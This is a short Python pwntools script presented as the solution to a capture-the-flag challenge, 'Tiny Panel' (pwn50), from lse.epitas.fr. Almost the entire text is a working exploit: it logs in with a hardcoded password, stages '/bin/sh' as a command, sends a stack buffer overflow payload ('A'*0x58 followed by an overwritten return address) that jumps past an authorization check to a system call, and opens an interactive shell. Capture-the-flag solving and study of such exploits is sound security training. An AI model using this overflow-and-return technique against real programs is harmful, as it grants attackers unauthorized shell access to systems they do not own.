Solution to lse.epitas.fr Tiny Panel (pwn50)

pwn50-solve.py

# Solution to lse.epitas.fr Tiny Panel (pwn50) 
 
# Author: Luke Roberts (@rookuu) 
# Date: 04/12/2017 
 
p = process('./pwn50') 
 
# Login to system 
p.recv() 
p.sendline('admin') 
p.recv() 
p.sendline('T6OBSh2i') 
 
# Prep our ExecCmd function 
p.recv() 
p.sendline('1') 
p.recv() 
p.sendline('/bin/sh') 
 
# Hop back to the system call, bypassing the check. 
p.recv() 
p.sendline('A'*0x58 + p64(0x0040084a)) 
p.recv() 
p.sendline('3') 
 
# Shellz 
p.interactive()